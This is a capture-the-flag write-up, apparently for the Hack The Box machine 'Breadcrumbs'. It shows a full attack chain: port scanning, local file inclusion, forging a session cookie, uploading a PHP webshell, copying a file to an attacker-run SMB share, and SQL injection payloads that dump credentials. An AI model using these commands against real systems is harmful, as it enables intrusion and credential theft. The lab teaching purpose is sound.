Breadcrums
Last updated
Was this helpful?
Last updated
Was this helpful?
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.228 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.
-p-
scanning the entire port range, from 1 to 65535.
-T5
insane mode, it is the fastest mode of the nmap time template.
-Pn
assume the host is online.
-n
scan without reverse DNS resolution.
-oN
save the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 10.10.10.228 -oN targeted
-sC
performs the scan using the default set of scripts.
-sV
enables version detection.
-oN
save the scan result into file, in this case the targeted file.
It looks like there is a website on port 80.
If we click on the Check books.
button, we'll see what looks like a books search tool
http://10.10.10.228/php/books.php
If search for a random character, like the s
letter, it will show us books with the s
character in the title.
The Book
button will show some details about the book.
Let's try to list some subdirectories with wfuzz.
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt http://10.10.10.228/FUZZ
-c
output with colors.
--hc
hide responses with the specified code.
-t
specify the number of concurrent connections.
-w
specify a wordlist file.
The /books
directory has several .html
files with the content of the books that the search tool is loading.
http://10.10.10.228/books/
Then /portal
directory show a login page.
http://10.10.10.228/portal/login.php
Then /includes
directory show a few .php
files.
http://10.10.10.228/includes/
And the /db
directory has a db.php
file. Everything else has nothing interesting in it, or we are not allowd to see it.
Let's create an account on the login page we saw on /portal
.
http://10.10.10.228/portal/signup.php
Then, log in as the new user.
Now, we see a page with different sections.
Then Check tasks
section shows some tasks. One of them is saying that the PHPSESSID cookie has infinite session duration.
http://10.10.10.228/portal/php/issues.php
The Order pizza
button shows a popup alert.
The User management
section shows a list of users with their respective role.
http://10.10.10.228/portal/
And finally, the File management
button just do a redirect to the current page. We could try to enumerate subdirectories again, but this time under the /portal
directory.
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt http://10.10.10.228/portal/FUZZ
-c
output with colors.
--hc
hide responses with the specified code.
-t
specify the number of concurrent connections.
-w
specify a wordlist file.
If we click on the File management button, I will do a redirect to the current index.php
file as we saw. Let's try to bypass it. First, intercept the request with BurpSuite. Then, press right click, and press on Do intercept > Response to this request
.
If we hit Forward
, we'll get the response from the server, and as you can see, the code is a 302 Found
. We could try to change it to 200 OK
, so the redirect doesn't happen.
Press Forward
again, and you'll see the Task Submission page on the browser.
Let's create a simple webshell in PHP, and upload it.
nano webshell.php
If we try to upload it, it will say that only admins can upload files. We'll have to become one of the admins users, either alex
, paul
or jack
.
Let's go back to the /php/books.php
file, which took the book's data from the /books
HTML files.
Let's intercept the request when we hit Book
, and send it to the repeater.
If we put some wrong data in the book
parameter, we'll get an error showing an absolute path. The error show how the website is trying to look for a book in the ../books
directory.
Let's try to put the bookController.php
file the error is showing in the book
parameter with the directory path traversal pattern.
It looks like we did a Local File Inclusion attack, which allow us to read the content of the PHP files. I made a simple bash script which prints out in a nice way the content of the file that you give it.
If we execute the script giving the ../includes/bookController.php
file as an argument, we'll see that the file is requiring the file ../db/db.php
.
./lfi.sh ../includes/bookController.php
Let's see the content of ../db/db.php
.
We found some credentials. As we have to become one of the admin users, we have to get their cookies. I have two cookies, a JWT (Jason Web Token) cookie and a PHPSESSID cookie.
Note that the PHPSESSID cookie starts with my username. If we check the /portal/php/admins.php page, we'll see that paul
is the only admin which is online, which means that he might be a great target to steal his cookies.
The first time we logged in, we did it with the /portal/login.php
file. Let's try to see it's content.
./lfi.sh ../portal/login.php
As we can see at the top, it is requiring the authController.php
file. Let's take a look at it.
./lfi.sh ../portal/authController.php
Now we need the PHPSESSID of the paul
user. Note again how the authController.php
file is requiring the cookie.php
file. Let's see it's content.
./lfi.sh ../portal/cookie.php
The cookie is just a MD5 hash of a specific string with a character in between, which any character of the username. It looks like we can brute force the cookie. I made the following script, which will add each letter of paul
to the string, then it will calculate the MD5 hash, and finally, it will check if the cookie is correct.
If we execute the script, we'll get the PHPSESSID cookie of the paul
user.
python cookie.py
Replace the PHPSESSID cookie and the JWT cookies of the paul
user on the browser.
If now we refresh the website, we'll see that we are logged in as paul
.
Now we can upload the webshell successfully.
As we saw when we fuzz subdirectories on /portal
, there was a /uploads
directory, let's check it.
There is our webshell. The problem is that it has the .zip
extension. Let's upload it again, but now intercept the request with BurpSuite.
The name of the task change, and the script put the .zip
extension automatically. Let's modify it, and call it webshell.php
.
If we check now the /uploads
directory, we'll see our webshell with the correct extension.
Finally, we can execute commands on the victim machine.
http://10.10.10.228/portal/uploads/webshell.php?cmd=whoami
If we check the content of the current directory, we'll see the two files that we uploaded, and an the absolute path where we are executing the commands.
http://10.10.10.228/portal/uploads/webshell.php?cmd=dir
Let's see what's in a directory further back.
http://10.10.10.228/portal/uploads/webshell.php?cmd=dir C:\Users\www-data\Desktop\xampp\htdocs\portal\
The pizzaDeliveryUserData
folder looks interesting.
http://10.10.10.228/portal/uploads/webshell.php?cmd=dir C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData
The juliette user is the only one that looks like is not disable. If we check the content of juliette.json
file, we'll see some credentials.
http://10.10.10.228/portal/uploads/webshell.php?cmd=type C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData\juliette.json
Now we can log in into the machine as the juliette user. Then, we'll be able to grab the user flag.
sshpass -p 'jUli901./())!' ssh juliette@10.10.10.228
If we check the desktop of the juliette
user, we'll see the user flag, and the todo.html
file.
dir \Users\juliette\Desktop
The HTML file just shows a table with pending tasks. One of them is saying that there might be some passwords in the Microsoft Store Sticky Notes application.
type \Users\juliette\Desktop\todo.html
I look for the path where the Sticky Notes program is stored, and I found the C:\Users\username\AppData\Roaming\Microsoft\Sticky Notes
path. But, in the machine, the Sticky Notes directory doesn't exist.
dir \Users\juliette\AppData\Roaming\Microsoft
I look for other paths where the program files could be stored, and I found the C:\Users\Username\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
backup path, which do exists on the machine.
dir \Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbw e\LocalState
We can see that the plum.sqlite-wal
file is the one that weighs the most. Let's transfer it to our machine. First, set a simple SMB server on our local machine.
impacket-smbserver smbFolder $(pwd) -smb2support
Then, on the victim machine, copy the file to the smbFolder
share.
copy plum.sqlite-wal \10.10.14.11\smbFolder
On our local machine, we can check that the file is a SQLite file.
file plum.sqlite-wal
But, if we try to see it's content with SQLite, we get an error.
sqlite3 plum.sqlite-wal
If we print out the readable strings of the file, we'll see some new credentials for the development
user.
strings plum.sqlite-wal
Let's log in as the development
user.
sshpass -p 'fN3)sN5Ee@g' ssh development@10.10.10.228
At this point, if we check the root directory, we'll see thee Development
directory.
dir \
Which contains a binary called Krypter_Linux
.
dir \Development
Let's transfer it to our machine, the same way we did it before. This time, if we check the readable strings on the binary, we'll see a URL with some HTTP parameters.
strings Krypter_Linux
But, as we can see, port 1234 is only available locally.
netstat -nat
-n
show active TCP connections.
-a
show TCP and UDP listening ports.
-t
displays the download status of the current connection.
To access the website, we'll have to do port forwarding with SSH.
sshpass -p 'jUli901./())!' ssh juliette@10.10.10.228 -L 1234:127.0.0.1:1234
-L
local port forwarding is enabled.
If now we make a GET request to our local machine on port 1234, with the parameters that we saw, we'll see what looks like the AES key needed to decrypt the administrator password.
curl -s "http://127.0.0.1:1234/?method=select&username=administrator&table=passwords"
If we change the value of the username
parameter, from administrator
to '
, we'll get an SQL error.
curl -s "http://127.0.0.1:1234/?method=select&username='&table=passwords"
It looks like the application is vulnerable to SQL Injection. Let's try to check if the database has only one table.
curl -X POST "http://127.0.0.1:1234/" -d "method=select&username='union select 1 -- -&table=passwords"
As we don't get any error, there is only one table in the current database. We could see that the database name is bread
.
curl -X POST "http://127.0.0.1:1234/" -d "method=select&username='union select database()-- -&table=passwords"
We can see that there is one table called passwords
.
curl -X POST "http://127.0.0.1:1234/" -d "method=select&username='union select table_name from information_schema.tables where table_schema='bread'-- -&table=passwords"
The passwords
table has the id
, account
, password
and aes_key
columns.
curl -X POST "http://127.0.0.1:1234/" -d "method=select&username='union select column_name from information_schema.columns where table_schema='bread' and table_name='passwords'-- -&table=passwords"
Now we can print out the values of all those columns separated by the :
character.
curl -X POST "http://127.0.0.1:1234/" -d "method=select&username='union select concat(id,0x3a,account,0x3a,password,0x3a,aes_key) from bread.passwords-- -&table=passwords"
We can't decrypt the password yet because the IV field is missing. We could try to fill it with 0
numbers. Do it until the output message doesn't say that is expecting any more bytes, then we'll get the password for the administrator
user.
Now, log in via SSH as the administrator user, and then all we have to do is reap the harvest and take the root flag.
sshpass -p 'p@ssw0rd!@#$9890./' ssh administrator@10.10.10.228
We found the secret key that is being used to encrypt the JWT. Now we could get the JWT of paul
. Go to , copy and paste our own JWT, replace our username with paul
, and add the secret key we just found to the VERIFY SIGNATURE
section.
Now, we have the password of the Administrator
user, but it is encoded in base64, and then encrypted in AES. Let's use and try to break it. Copy and paste the password in the Input
field, then find From Base64
operation, drag it to the Recipe
section, and do the same with the AES Decrypt
operation. Then copy the AES key that we got in the SQL Injection, and paste it in the Key
field of the AES Decrypt
operation, change the key encoding to UTF8
, and the input type to Raw
.